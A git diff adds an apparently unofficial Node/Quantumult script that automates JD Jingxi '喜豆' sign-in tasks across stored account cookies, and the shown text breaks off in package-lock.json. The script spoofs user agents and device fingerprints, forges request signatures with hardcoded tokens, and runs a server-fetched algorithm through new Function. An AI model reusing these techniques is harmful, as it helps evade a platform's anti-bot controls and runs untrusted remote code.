=== e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜签到-喜豆'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA; +$.shareCodes = []; +$.blackInfo = {} +$.appId = 10028; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + await requestAlgo(); + await $.wait(1000); + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.commonlist = [] + $.black = false + $.sqactive = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } + continue + } + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + await signhb() + await $.wait(2000) + if (!$.black) { + if ($.commonlist && $.commonlist.length) { + console.log("开始做喜豆任务") + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log("喜豆任务已完成") + } + } else { + console.log(`此账号已黑`) + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + +// 查询信息 +function signhb() { + return new Promise((resolve) => { + $.get(taskUrl("signhb/query", "type=0&signhb_source=5&smp=&ispp=1&tk="), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + commontask, + sqactive + } = data + $.sqactive = sqactive + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + return new Promise((resolve) => { + $.get(taskUrl("signhb/dotask", `task=${task}&signhb_source=5&ispp=1&sqactive=${$.sqactive}&tk=`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log(`完成任务 获得${data.sendxd}喜豆`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..bccf1e5 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1583 @@ +{ + "name": "jd", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@sindresorhus/is": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz", + "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow==" + }, + "@szmarczak/http-timer": { + "version": "4.0.6", + "resolved": 